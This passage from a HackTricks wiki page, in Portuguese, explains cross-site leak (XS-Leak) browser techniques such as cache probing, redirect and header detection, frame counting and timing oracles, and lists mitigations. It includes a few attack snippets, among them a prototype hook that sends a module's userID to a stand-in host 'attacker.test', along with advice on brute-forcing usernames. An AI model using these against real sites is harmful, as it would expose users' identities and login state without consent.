Um XS-Leak pode usar o CSP para detectar se um site cross-origin foi redirecionado para uma origem diferente. Esse leak consegue detectar o redirect e, adicionalmente, vazar o domínio do destino do redirect. A ideia básica do ataque é permitir o domínio alvo no site do atacante. Uma vez emitida uma requisição ao domínio alvo, este redireciona a um domínio cross-origin. O CSP bloqueia o acesso a ele e gera um relatório de violação usado como técnica de leak. Dependendo do navegador, esse relatório pode vazar a localização alvo do redirect.
Navegadores modernos não irão indicar a URL para a qual foi redirecionado, mas ainda é possível detectar que um redirect cross-origin foi disparado.
Cache
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- Summary: Clear the file from the cache. Opens target page checks if the file is present in the cache.
- Code Example:
Browsers podem usar um cache compartilhado entre sites. Independente da origin, é possível deduzir se uma página alvo solicitou um arquivo específico.
Se uma página carrega uma imagem apenas se o usuário está logado, você pode invalidar o resource (para que não esteja mais em cache, veja os links de mais info), fazer uma requisição que poderia carregar esse recurso e tentar carregar o recurso com uma requisição inválida (por exemplo usando um referer header muito longo). Se o carregamento do recurso não disparou erro, é porque ele estava cached.
CSP Directive
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- Summary: CSP header directives can be probed using the CSP iframe attribute, revealing policy details.
- Code Example: https://xsinator.com/testing.html#CSP%20Directive%20Leak
Uma funcionalidade nova no Google Chrome (GC) permite que páginas proponham uma Content Security Policy (CSP) definindo um atributo no elemento iframe, com diretivas de policy transmitidas junto à requisição HTTP. Normalmente, o conteúdo embutido deve autorizar isso via um header HTTP, ou uma página de erro é exibida. No entanto, se o iframe já é regido por um CSP e a policy proposta não é mais permissiva, a página será carregada normalmente. Esse mecanismo abre uma via para um atacante detectar diretivas CSP específicas de uma página cross-origin identificando a página de erro. Embora essa vulnerabilidade tenha sido marcada como corrigida, nossos achados revelam uma nova técnica de leak capaz de detectar a página de erro, sugerindo que o problema subjacente nunca foi totalmente resolvido.
CORP
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsleaks.dev/docs/attacks/browser-features/corp/
- Summary: Resources secured with Cross-Origin Resource Policy (CORP) will throw an error when fetched from a disallowed origin.
- Code Example: https://xsinator.com/testing.html#CORP%20Leak
O header CORP é uma feature de segurança da plataforma web relativamente nova que, quando setada blocks no-cors cross-origin requests to the given resource. A presença do header pode ser detectada, porque um recurso protegido com CORP irá throw an error when fetched.
CORB
- Inclusion Methods: HTML Elements
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
- Summary: CORB can allow attackers to detect when the
nosniffheader is present in the request. - Code Example: https://xsinator.com/testing.html#CORB%20Leak
Consulte o link para mais informações sobre o attack.
CORS error on Origin Reflection misconfiguration
- Inclusion Methods: Fetch API
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
- Summary: If the Origin header is reflected in the header
Access-Control-Allow-Originit’s possible to check if a resource is in the cache already. - Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
Caso o Origin header seja refletido no header Access-Control-Allow-Origin, um atacante pode abusar desse comportamento tentando fetch o resource em modo CORS. Se um erro não for disparado, significa que ele foi recuperado corretamente da web; se um erro for disparado, é porque foi acessado do cache (o erro aparece porque o cache salva uma resposta com um CORS header permitindo o domínio original e não o domínio do atacante).
Note que se a origin não for refletida mas um curinga for usado (Access-Control-Allow-Origin: *) isso não funcionará.
Readable Attributes Technique
Fetch Redirect
- Inclusion Methods: Fetch API
- Detectable Difference: Status Code
- More info: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
- Summary: GC and SA allow to check the response’s type (opaque-redirect) after the redirect is finished.
- Code Example: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
Ao submeter uma requisição usando a Fetch API com redirect: "manual" e outros parâmetros, é possível ler o atributo response.type e, se for igual a opaqueredirect, então a resposta foi um redirect.
COOP
- Inclusion Methods: Pop-ups
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
- Summary: Pages safeguarded by Cross-Origin Opener Policy (COOP) prevent access from cross-origin interactions.
- Code Example: https://xsinator.com/testing.html#COOP%20Leak
Um atacante é capaz de deduzir a presença do header Cross-Origin Opener Policy (COOP) em uma resposta HTTP cross-origin. COOP é utilizado por aplicações web para dificultar que sites externos obtenham referências de window arbitrárias. A visibilidade desse header pode ser discernida tentando acessar a referência contentWindow. Em cenários onde COOP é aplicado condicionalmente, a propriedade opener torna-se um indicador revelador: ela é undefined quando COOP está ativa, e defined quando não está.
URL Max Length - Server Side
- Inclusion Methods: Fetch API, HTML Elements
- Detectable Difference: Status Code / Content
- More info: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
- Summary: Detect differences in responses because of the redirect response length migt be too large that the server replays with an error and an alert is generated.
- Code Example: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
Se um redirect server-side usa input do usuário dentro do redirection e dados adicionais, é possível detectar esse comportamento porque geralmente servidores têm um limite no tamanho da requisição. Se o user data tiver esse tamanho - 1, e o redirect estiver usando esses dados e adicionar algo extra, isso pode disparar um erro detectável via Error Events.
Se você consegue de alguma forma setar cookies para um usuário, também pode realizar esse ataque definindo cookies suficientes (cookie bomb) de modo que o tamanho da resposta correta aumente e um erro seja disparado. Nesse caso, lembre-se que se você disparar essa requisição do mesmo site, um <script> enviará automaticamente os cookies (portanto você pode checar por erros).
Um exemplo do cookie bomb + XS-Search pode ser encontrado na solução prevista deste writeup: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
SameSite=None ou estar no mesmo contexto geralmente é necessário para esse tipo de ataque.
URL Max Length - Client Side
- Inclusion Methods: Pop-ups
- Detectable Difference: Status Code / Content
- More info: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
- Summary: Detect differences in responses because of the redirect response length might too large for a request that a difference can be noticed.
- Code Example: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
De acordo com a documentação do Chromium, o comprimento máximo de URL do Chrome é 2MB.
Em geral, a plataforma web não possui limites no comprimento de URLs (embora 2^31 seja um limite comum). O Chrome limita URLs a um comprimento máximo de 2MB por razões práticas e para evitar causar problemas de denial-of-service em comunicação inter-processos.
Portanto, se a URL de redirect for maior em um dos casos, é possível fazê-la redirecionar com uma URL maior que 2MB para atingir o limite de comprimento. Quando isso acontece, o Chrome mostra uma página about:blank#blocked.
A diferença perceptível é que, se o redirect foi completado, window.origin lança um erro porque uma origem cruzada não pode acessar essa informação. Entretanto, se o limite foi atingido e a página carregada foi about:blank#blocked, o origin da window permanece o do parent, o que é uma informação acessível.
Todas as informações extras necessárias para atingir os 2MB podem ser adicionadas via hash na URL inicial para que sejam usadas no redirect.
Max Redirects
- Inclusion Methods: Fetch API, Frames
- Detectable Difference: Status Code
- More info: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
- Summary: User the browser’s redirect limit to ascertain the occurrence of URL redirections.
- Code Example: https://xsinator.com/testing.html#Max%20Redirect%20Leak
Se o número máximo de redirects que o navegador segue é 20, um atacante poderia tentar carregar sua página com 19 redirects e finalmente enviar a vítima para a página testada. Se um erro for disparado, então a página estava tentando redirecionar a vítima.
History Length
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Redirects
- More info: https://xsleaks.dev/docs/attacks/navigations/
- Summary: JavaScript code manipulates the browser history and can be accessed by the length property.
- Code Example: https://xsinator.com/testing.html#History%20Length%20Leak
A History API permite que código JavaScript manipule o histórico do navegador, que salva as páginas visitadas por um usuário. Um atacante pode usar a propriedade length como método de inclusão: para detectar navegações JavaScript e HTML.
Checando history.length, fazendo o usuário navegar para uma página, voltando para a mesma origin e checando o novo valor de history.length.
History Length with same URL
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: If URL is the same as the guessed one
- Summary: It’s possible to guess if the location of a frame/popup is in an specific URL abusing the history length.
- Code Example: Below
Um atacante pode usar código JavaScript para mudar a localização do frame/popup para uma URL suposta e imediatamente carregá-la para about:blank. Se o history length aumentou, significa que a URL estava correta e teve tempo para incrementar porque a URL não é recarregada se for a mesma. Se não aumentou, significa que ela tentou carregar a URL suposta, mas como nós imediatamente depois carregamos about:blank, o history length nunca chegou a aumentar ao carregar a URL suposta.
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))
win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))
Frame Counting
- Métodos de Inclusão: Frames, Pop-ups
- Diferença Detectável: Page Content
- Mais info: https://xsleaks.dev/docs/attacks/frame-counting/
- Resumo: Avaliar a quantidade de elementos iframe inspecionando a propriedade
window.length. - Exemplo de Código: https://xsinator.com/testing.html#Frame%20Count%20Leak
Contar o número de frames em uma página web aberta via iframe ou window.open pode ajudar a identificar o estado do usuário nessa página.
Além disso, se a página tiver sempre o mesmo número de frames, verificar continuamente o número de frames pode revelar um padrão que pode causar um leak de informação.
Um exemplo dessa técnica é que no chrome, um PDF pode ser detectado com frame counting porque um embed é usado internamente. Existem Open URL Parameters que permitem algum controle sobre o conteúdo como zoom, view, page, toolbar onde essa técnica pode ser interessante.
HTMLElements
- Métodos de Inclusão: HTML Elements
- Diferença Detectável: Page Content
- Mais info: https://xsleaks.dev/docs/attacks/element-leaks/
- Resumo: Ler o leaked value para distinguir entre 2 possíveis estados
- Exemplo de Código: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
Information leak através de elementos HTML é uma preocupação na segurança web, particularmente quando arquivos de mídia dinâmicos são gerados com base em informação do usuário, ou quando watermarks são adicionados, alterando o tamanho da mídia. Isso pode ser explorado por atacantes para diferenciar entre possíveis estados analisando a informação exposta por certos elementos HTML.
Information Exposed by HTML Elements
- HTMLMediaElement: Esse elemento revela o
duratione temposbufferedda mídia, que podem ser acessados via sua API. Read more about HTMLMediaElement - HTMLVideoElement: Expõe
videoHeightevideoWidth. Em alguns navegadores, propriedades adicionais comowebkitVideoDecodedByteCount,webkitAudioDecodedByteCountewebkitDecodedFrameCountestão disponíveis, oferecendo informações mais detalhadas sobre o conteúdo de mídia. Read more about HTMLVideoElement - getVideoPlaybackQuality(): Essa função fornece detalhes sobre a qualidade de reprodução de vídeo, incluindo
totalVideoFrames, que pode indicar a quantidade de dados de vídeo processados. Read more about getVideoPlaybackQuality() - HTMLImageElement: Esse elemento vaza o
heightewidthde uma imagem. Contudo, se uma imagem for inválida, essas propriedades retornarão 0, e a funçãoimage.decode()será rejeitada, indicando falha no carregamento da imagem. Read more about HTMLImageElement
CSS Property
- Métodos de Inclusão: HTML Elements
- Diferença Detectável: Page Content
- Mais info: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- Resumo: Identificar variações no estilo do site que se correlacionam com o estado do usuário.
- Exemplo de Código: https://xsinator.com/testing.html#CSS%20Property%20Leak
Aplicações web podem alterar o website styling dependendo do status do usuário. Arquivos CSS cross-origin podem ser incorporados na página do atacante com o elemento HTML link, e as regras serão aplicadas à página do atacante. Se uma página muda dinamicamente essas regras, um atacante pode detectar essas diferenças dependendo do estado do usuário.
Como técnica de leak, o atacante pode usar o método window.getComputedStyle para ler propriedades CSS de um elemento HTML específico. Como resultado, um atacante pode ler propriedades CSS arbitrárias se o elemento afetado e o nome da propriedade forem conhecidos.
CSS History
- Métodos de Inclusão: HTML Elements
- Diferença Detectável: Page Content
- Mais info: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- Resumo: Detectar se o estilo
:visitedé aplicado a uma URL indicando que ela já foi visitada - Exemplo de Código: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
Tip
De acordo com this, isso não funciona no Chrome headless.
O seletor CSS :visited é utilizado para estilizar URLs de forma diferente se já foram visitadas pelo usuário. No passado, o método getComputedStyle() podia ser usado para identificar essas diferenças de estilo. Entretanto, navegadores modernos implementaram medidas de segurança para impedir que esse método revelasse o estado de um link. Essas medidas incluem sempre retornar o estilo computado como se o link fosse visited e restringir os estilos que podem ser aplicados com o seletor :visited.
Apesar dessas restrições, é possível discernir o estado visitado de um link indiretamente. Uma técnica envolve enganar o usuário para interagir com uma área afetada pelo CSS, especificamente utilizando a propriedade mix-blend-mode. Essa propriedade permite o blending de elementos com seu background, potencialmente revelando o estado visited com base na interação do usuário.
Além disso, a detecção pode ser alcançada sem interação do usuário explorando os tempos de renderização dos links. Como navegadores podem renderizar links visitados e não-visitados de forma diferente, isso pode introduzir uma diferença temporal mensurável na renderização. Um PoC foi mencionado em um bug do Chromium, demonstrando essa técnica usando múltiplos links para amplificar a diferença de tempo, tornando assim o estado visited detectável através de análise de timing.
Para mais detalhes sobre essas propriedades e métodos, visite suas páginas de documentação:
:visited: MDN DocumentationgetComputedStyle(): MDN Documentationmix-blend-mode: MDN Documentation
ContentDocument X-Frame Leak
- Métodos de Inclusão: Frames
- Diferença Detectável: Headers
- Mais info: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- Resumo: No Google Chrome, uma página de erro dedicada é exibida quando uma página é bloqueada de ser embutida em um site cross-origin devido a restrições de X-Frame-Options.
- Exemplo de Código: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
No Chrome, se uma página com o header X-Frame-Options definido como “deny” ou “same-origin” for embedada como um object, aparece uma página de erro. O Chrome retorna de forma única um documento vazio (em vez de null) para a propriedade contentDocument desse object, diferente do comportamento em iframes ou em outros navegadores. Atacantes poderiam explorar isso detectando o documento vazio, potencialmente revelando informação sobre o estado do usuário, especialmente se desenvolvedores aplicam o header X-Frame-Options de forma inconsistente, frequentemente esquecendo páginas de erro. Conscientização e aplicação consistente de headers de segurança são cruciais para prevenir esse tipo de leak.
Download Detection
- Métodos de Inclusão: Frames, Pop-ups
- Diferença Detectável: Headers
- Mais info: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- Resumo: Um atacante pode discernir downloads de arquivos usando iframes; a acessibilidade contínua do iframe implica que o download do arquivo ocorreu com sucesso.
- Exemplo de Código: https://xsleaks.dev/docs/attacks/navigations/#download-bar
O header Content-Disposition, especificamente Content-Disposition: attachment, instrui o navegador a baixar o conteúdo em vez de exibi-lo inline. Esse comportamento pode ser explorado para detectar se um usuário tem acesso a uma página que dispara um download de arquivo. Em navegadores baseados em Chromium, há algumas técnicas para detectar esse comportamento de download:
- Monitoramento da Download Bar:
- Quando um arquivo é baixado em navegadores Chromium-based, uma barra de download aparece na parte inferior da janela do navegador.
- Monitorando mudanças na altura da janela, atacantes podem inferir o aparecimento da download bar, sugerindo que um download foi iniciado.
- Navegação de Download com Iframes:
- Quando uma página dispara um download usando o header
Content-Disposition: attachment, isso não causa um evento de navigation. - Carregando o conteúdo em um iframe e monitorando eventos de navigation, é possível checar se a disposição do conteúdo causa um download (sem navigation) ou não.
- Navegação de Download sem Iframes:
- Similar à técnica com iframe, esse método envolve usar
window.openao invés de um iframe. - Monitorando eventos de navigation na nova janela aberta pode revelar se um download foi disparado (sem navigation) ou se o conteúdo foi exibido inline (ocorre navigation).
Em cenários onde apenas usuários autenticados podem disparar tais downloads, essas técnicas podem ser usadas para inferir indiretamente o estado de autenticação do usuário com base na resposta do navegador à requisição de download.
Partitioned HTTP Cache Bypass
- Métodos de Inclusão: Pop-ups
- Diferença Detectável: Timing
- Mais info: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- Resumo: Um atacante pode discernir file downloads usando iframes; a acessibilidade contínua do iframe implica que o download do arquivo ocorreu com sucesso.
- Exemplo de Código: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (from https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
Warning
This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is:
(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be:(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)
Se um site example.com inclui um recurso de *.example.com/resource então esse recurso terá a mesma cache key como se o recurso tivesse sido requisitado diretamente via top-level navigation. Isso ocorre porque a cache key é composta pelo top-level eTLD+1 e frame eTLD+1.
Como acessar o cache é mais rápido do que carregar um recurso, é possível tentar mudar a localização de uma página e cancelar após 20ms (por exemplo). Se a origin for alterada após o stop, isso significa que o recurso estava em cache.
Ou simplesmente poderia enviar um fetch para a página potencialmente cached e medir o tempo que leva.
Manual Redirect
- Métodos de Inclusão: Fetch API
- Diferença Detectável: Redirects
- Mais info: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- Resumo: É possível descobrir se uma resposta a um fetch request é um redirect
- Exemplo de Código:
.png)
Fetch with AbortController
- Métodos de Inclusão: Fetch API
- Diferença Detectável: Timing
- Mais info: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- Resumo: É possível tentar carregar um recurso e abortá-lo antes de terminar o carregamento. Dependendo se um erro é disparado, o recurso estava ou não em cache.
- Exemplo de Código: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
Use fetch e setTimeout com um AbortController para tanto detectar se o resource is cached quanto para evictar um recurso específico do browser cache. Além disso, o processo ocorre sem cachear novo conteúdo.
Script Pollution
- Métodos de Inclusão: HTML Elements (script)
- Diferença Detectável: Page Content
- Mais info: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- Resumo: É possível sobrescrever funções built-in e ler seus argumentos mesmo de scripts cross-origin (que não podem ser lidos diretamente); isso pode causar um leak de informação valiosa.
- Exemplo de Código: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
Prototype hooks to exfiltrate module-scoped data
Pre-define Function.prototype.default and Function.prototype.__esModule = 1 before loading a module so its default export calls your hook (e.g., receives {userID: ...}), letting you read module-scoped values without timing or brute force.
<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>
A própria requisição também se torna um oráculo de estado de login se o script só carregar para usuários autenticados.
Service Workers
- Métodos de inclusão: Pop-ups
- Diferença detectável: Page Content
- Mais info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- Resumo: Meça o tempo de execução de uma página web usando service workers.
- Exemplo de código:
No cenário dado, o atacante toma a iniciativa de registrar um service worker dentro de um de seus domínios, especificamente “attacker.com”. Em seguida, o atacante abre uma nova janela no website alvo a partir do documento principal e instrui o service worker a iniciar um cronômetro. À medida que a nova janela começa a carregar, o atacante navega a referência obtida no passo anterior para uma página gerida pelo service worker.
Ao chegar a requisição iniciada no passo precedente, o service worker responde com um status 204 (No Content), terminando efetivamente o processo de navegação. Neste ponto, o service worker captura uma medição do cronômetro iniciado anteriormente no passo dois. Essa medição é influenciada pela duração de JavaScript que causa atrasos no processo de navegação.
Warning
Em um ataque de execution timing é possível eliminar fatores de rede para obter medições mais precisas. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
Fetch Timing
- Métodos de inclusão: Fetch API
- Diferença detectável: Timing (generally due to Page Content, Status Code)
- Mais info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- Resumo: Use performance.now() para medir o tempo que leva para realizar uma request. Outros clocks também podem ser usados.
- Exemplo de código: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
Cross-Window Timing
- Métodos de inclusão: Pop-ups
- Diferença detectável: Timing (generally due to Page Content, Status Code)
- Mais info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- Resumo: use performance.now() para medir o tempo que leva para realizar uma request usando
window.open. Outros clocks também podem ser usados. - Exemplo de código: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
Subdomain probing for identity/login state
- Métodos de inclusão: HTML Elements (script), Frames
- Diferença detectável: DNS/HTTP load success, CORB/header changes
- Resumo: Se identificadores vivem em labels de subdomínio (por exemplo,
www.<username>.sb.facebook.com), solicite recursos em hosts candidatos e trateonloadvsonerror/timeouts como um Booleano. Combine com scripts disponíveis apenas para usuários autenticados (por exemplo,/signals/iwl.js) para brute-force de usernames e verificar autenticação em propriedades relacionadas. - Nota: Signals podem ser amplificados com diferentes tipos de inclusão (
script,iframe,object) para detectar diferenças emX-Frame-Options,CORB, ou redirecionamentos por candidato.
With HTML or Re Injection
Aqui você encontra técnicas para exfiltrar informação de um HTML cross-origin injetando conteúdo HTML. Essas técnicas são interessantes em casos onde, por qualquer motivo, você pode injetar HTML mas não pode injetar código JS.
Dangling Markup
Dangling Markup - HTML scriptless injection
Image Lazy Loading
Se você precisa exfiltrar conteúdo e pode adicionar HTML antes do segredo você deve checar as técnicas comuns de dangling markup.
No entanto, se por qualquer razão você DEVE fazê-lo caractere por caractere (talvez a comunicação seja via cache hit) você pode usar este truque.
Images em HTML têm um atributo “loading” cujo valor pode ser “lazy”. Nesse caso, a imagem será carregada quando for visualizada e não enquanto a página está carregando:
<img src=/something loading=lazy >
Portanto, o que você pode fazer é adicionar muitos caracteres lixo (Por exemplo milhares de “W“s) para preencher a página web antes do segredo ou adicionar algo como <br><canvas height="1850px"></canvas><br>.
Então, se por exemplo a nossa injection apareça antes da flag, a imagem seria carregada, mas se aparecer após a flag, a flag + o lixo vão impedir que ela seja carregada (você precisará ajustar quanto lixo colocar). Isso aconteceu em this writeup.
Outra opção seria usar o scroll-to-text-fragment se permitido:
Scroll-to-text-fragment
No entanto, você faz o bot acessar a página com algo como
#:~:text=SECR
Então a página web será algo como: https://victim.com/post.html#:~:text=SECR
Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.
O que esse texto fará é fazer o bot acessar qualquer texto na página que contenha o texto SECR. Como esse texto é o segredo e está logo abaixo da imagem, a imagem só será carregada se o segredo adivinhado estiver correto. Assim você tem seu oracle para exfiltrate the secret char by char.
Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
Image Lazy Loading Time Based
Se não for possível carregar uma imagem externa que pudesse indicar ao atacante que a imagem foi carregada, outra opção seria tentar adivinhar o caractere várias vezes e medir isso. Se a imagem for carregada, todas as requisições demorariam mais do que se a imagem não for carregada. Isso é o que foi usado na solution of this writeup resumido aqui:
Event Loop Blocking + Lazy images
ReDoS
Regular expression Denial of Service - ReDoS
CSS ReDoS
If jQuery(location.hash) is used, it’s possible to find out via timing se algum conteúdo HTML existir, isto porque se o seletor main[id='site-main'] não corresponder, ele não precisa verificar o resto dos selectors:
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)
CSS Injection
Mitigações
Existem mitigações recomendadas em https://xsinator.com/paper.pdf e também em cada seção do wiki https://xsleaks.dev/. Consulte-os para mais informações sobre como se proteger contra essas técnicas.
Referências
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
- Cross-Site Leaks (XS-Leaks) across Meta platforms
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


